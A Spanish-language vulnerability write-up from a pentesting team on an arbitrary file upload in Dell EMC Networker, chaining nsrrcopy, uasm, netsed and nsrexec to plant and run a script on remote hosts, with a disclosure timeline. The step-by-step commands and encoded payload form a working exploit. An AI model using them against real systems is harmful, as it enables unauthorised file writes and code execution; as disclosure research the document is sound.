Novedades

Netwoker

Otra forma de explotar Nerworker

Por Cesar Neira de nuestro equipo de Servicios Profesionales. 12/10

El título de este artículo hace referencia a “So Many Ways to Own Dell EMC Networker”. Durante un pentest, ese artículo nos fue muy útil ¡Muchas gracias! Recomendamos leerlo antes de continuar. En nuestro pentest, descubrimos muchas instalaciones de Networker Client en la red interna. Algunas nos permitían ejecutar comandos de Networker de forma remota. Así que intentamos explotar la inyección de comandos en “nsrdump”. Sin embargo, ese comando no estaba instalado. Por suerte, “nsr_render_log” si estaba y nos permitió obtener los hashes de los usuarios pero no logramos crackearlos. La explotación a través de Erlang tampoco fue posible porque los hosts no ejecutaban ese servicio. Por ello, decidimos probar con otros comandos de Networker.

⦁ nsrrcopy arbitrary file upload

Empezamos por listar los comandos de Networker disponibles en una instalación por defecto. Uno que nos llamó la atención fue “nsrrcopy”. Quizá porque suena como “Remote Copy”.

El archivo “nsrrcopy” es en realidad un script de Bash. En su código podemos ver que ejecuta otro programa llamado “uasm” pasándole algunos parámetros controlados por nosotros.

 if [ "$1" = "-m" ] 
then $set_path/uasm -r -iY -m $2=$3 $4 1>&2
else $set_path/uasm -r -iY $1 1>&2
fi

En la documentación de “uasm” vemos que su función es “salvar” y “recuperar” datos del sistema de ficheros. Además, dice que se puede usar de forma similar al comando “tar”.

Por ejemplo, para salvar el archivo “/etc/passwd”, utilizamos la opción “-s”. Esto crea un flujo de bytes que se envía a la salida estándar y que redirigimos al archivo “stream”.

uasm -s /etc/passwd > stream

Y, para restaurar el archivo “/etc/passwd”, utilizamos la opción “-r”. Esto lee el flujo de bytes creado anteriormente por la entrada estándar y reconstruye los archivos. El parámetro “-iY” es para sobreescribir archivos sin preguntar.

uasm -r -iY < stream

En “nsrrcopy” vemos que “uasm” se ejecuta en modo de restauración y sobrescribe archivos sin preguntar. Adicionalmente vemos que recibe un parámetro “$1”. Ese parámetro es opcional y debería ser una ruta. Cuando está presente, evita que se escriban archivos fuera de esa ruta. Por suerte, lo controlamos nosotros y si colocamos “/” podremos escribir en todo el sistema de archivos.

$set_path/uasm -r -iY $1 1>&2

La idea es ejecutar “nsrrcopy” desde “nsrexec” para subir archivos arbitrarios al equipo remoto. Pero claro, “nsrrcopy” (uasm) lee el flujo de bytes de la entrada estándar ¿Cómo podemos controlar la entrada estándar del programa remoto? Por suerte “nsrexec” admite una variable de entorno “STDIN” que permite especificar los datos que se pasarán como entrada estándar al programa remoto.

La dificultad está en que el flujo de bytes generado con “uasm” contiene muchos bytes nulos y no podemos meterlo directamente en una variable de entorno porque se truncaría.

Una forma de resolver este problema es utilizando “netsed” y reemplazando el valor de STDIN directamente en el paquete de red que se envía al host remoto.

export STDIN=AAAA
netsed tcp 7937 <TARGET-IP> 7937 s/AAAA/%00%00%00%00

Otra forma sería programando un script que hable el protocolo de Networker y le envíe directamente nuestro payload.

⦁ Explotación paso a paso

Creamos nuestro script malicioso en “/usr/sbin/nsrwoot”

#!/bin/bash
echo ”w00t w00t!!!”

Y le damos permisos de ejecución

chmod +x /usr/sbin/nsrwoot

Lo empaquetamos con “uasm”

uasm -s /usr/sbin/nsrwoot > stream

Codificamos el flujo de bytes para pasarlo a “netsed”

xxd -c 9999 -i stream | sed 's/0x/%/g' | sed 's/, //g'

Obtenemos lo siguiente:

unsigned char stream[] = { %00%00%00%01%03%17%58%03%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%11%2f%75%73%72%2f%73%62%69%6e%2f%6e%73%72%77%6f%6f%74%00%00%00%00%00%00%00%00%00%00%00%92%05%18%04%00%00%00%38%82%00%00%01%00%00%81%ed%00%00%00%01%00%00%00%00%00%00%00%00%00%00%00%20%00%00%00%00%00%00%00%08%00%00%fd%00%04%01%1d%98%00%00%00%00%61%42%24%58%61%42%24%59%00%00%00%00%00%00%3a%00%00%00%00%40%00%00%00%00%00%00%00%01%73%65%63%75%72%69%74%79%2e%73%65%6c%69%6e%75%78%00%00%00%00%00%00%00%00%1f%75%6e%63%6f%6e%66%69%6e%65%64%5f%75%3a%6f%62%6a%65%63%74%5f%72%3a%62%69%6e%5f%74%3a%73%30%00%00%00%01%00%00%00%00%24%00%00%00%00%23%21%2f%62%69%6e%2f%62%61%73%68%0a%65%63%68%6f%20%22%77%30%30%74%20%77%30%30%74%21%21%21%22%0a%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00 };
unsigned int stream_len = 268;

Generamos un patrón “AAA…” con la misma longitud de bytes

python -c 'print "A"*268'

Configuramos la redirección de puertos con socat

socat -v -v -v TCP4-LISTEN:7938,reuseaddr,fork TCP: <TARGET-IP> :7938

Configuramos la redirección y sustitución de bytes con netsed

netsed tcp 7937 <TARGET-IP> 7937 s/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/%00%00%00%01%03%17%58%03%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%11%2f%75%73%72%2f%73%62%69%6e%2f%6e%73%72%77%6f%6f%74%00%00%00%00%00%00%00%00%00%00%00%92%05%18%04%00%00%00%38%82%00%00%01%00%00%81%ed%00%00%00%01%00%00%00%00%00%00%00%00%00%00%00%20%00%00%00%00%00%00%00%08%00%00%fd%00%04%01%1d%98%00%00%00%00%61%42%24%58%61%42%24%59%00%00%00%00%00%00%3a%00%00%00%00%40%00%00%00%00%00%00%00%01%73%65%63%75%72%69%74%79%2e%73%65%6c%69%6e%75%78%00%00%00%00%00%00%00%00%1f%75%6e%63%6f%6e%66%69%6e%65%64%5f%75%3a%6f%62%6a%65%63%74%5f%72%3a%62%69%6e%5f%74%3a%73%30%00%00%00%01%00%00%00%00%24%00%00%00%00%23%21%2f%62%69%6e%2f%62%61%73%68%0a%65%63%68%6f%20%22%77%30%30%74%20%77%30%30%74%21%21%21%22%0a%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00

Asignamos STDIN con el patrón “AAA...”

export STDIN= AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Ejecutamos “nsrrcopy” en el host remoto

export RCMD=”nsrrcopy /”

nsrexec -c 127.0.0.1

Al finalizar el comando anterior, el script “nsrwoot” se habrá creado en el host remoto y podremos ejecutarlo con “nsrexec”.

export RCMD=”nsrwoot”

nsrexec -c <TARGET-IP>

⦁ Disclosure Timeline

  • 12-JUL-2021: BASE4 Security realiza el reporte inicial
  • 13-JUL-2021: Dell confirma la de recepción del reporte
  • 05-AGO-2021: Dell confirma la vulnerabilidad
  • 09-SEP-2021: Dell informa que el Security Advisory se publicará a mediados de octubre
  • 05-OCT-2021: Dell informa que la publicación del Security Advisory será el 11-OCT-2021.
  • 11-OCT-2021: Dell informa que la publicación se retrasará.
  • 12-OCT-2021: Dell publica el Security Advisory DSA-2021-193. BASE4 Security publica el presente artículo con los detalles de la vulnerabilidad.
  • EP-2021: Dell informa que la solución se publicará a mediados de octubre

⦁ References: